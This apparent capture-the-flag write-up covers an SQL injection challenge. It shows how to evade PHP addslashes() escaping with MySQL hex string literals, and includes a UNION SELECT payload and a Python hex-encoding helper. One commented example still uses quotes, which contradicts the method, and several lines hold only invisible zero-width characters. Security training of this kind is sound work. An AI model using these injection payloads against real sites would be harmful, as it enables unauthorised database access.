Dead or alive 2

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: addslashes_bypass_hex

Summary

SQL injection bypass task at http://kslweb1.spb.ctf.su/sqli/bypass2/. "Find out how many quotes you have left on this mortal earth in my new service."

Dead or alive 2 — Web Kids 2.0

Description

SQL injection bypass task at http://kslweb1.spb.ctf.su/sqli/bypass2/. "Find out how many quotes you have left on this mortal earth in my new service."

Analysis

The application uses addslashes() PHP function to escape user input. This function escapes single quotes ('), double quotes ("), backslashes (\), and NULL bytes by prepending a backslash.

However, addslashes() does not protect against all SQL injection vectors. In MySQL, strings can be represented in hexadecimal format (0x...) without requiring quotes. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key observations:

• Input is passed through addslashes() before being used in SQL query
• MySQL is the backend database
• Hex-encoded strings (0x...) are valid string literals in MySQL and don't need quotes

Solution

Step 1: Identify the vulnerability

The application escapes quotes using addslashes(), but this can be bypassed using hex encoding.

Step 2: Convert payload to hex

Instead of using quoted strings like 'admin', convert to hex format:

• admin = 0x61646d696e

Step 3: Craft the injection payload

Example payload structure:

 sql read-only • copy allowed Copy
1 UNION SELECT * FROM users WHERE username=0x61646d696e

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Python helper for hex conversion:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
addslashes() bypass via hex encoding
"""

def string_to_hex(s):
    """Convert string to MySQL hex format (0x...)"""
    return '0x' + s.encode().hex()

# Example usage
payload = "admin"
hex_payload = string_to_hex(payload)
print(f"Original: {payload}")
print(f"Hex: {hex_payload}")

# For SQL injection:
# Instead of: ' OR username='admin'
# Use: ' OR username=0x61646d696e

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍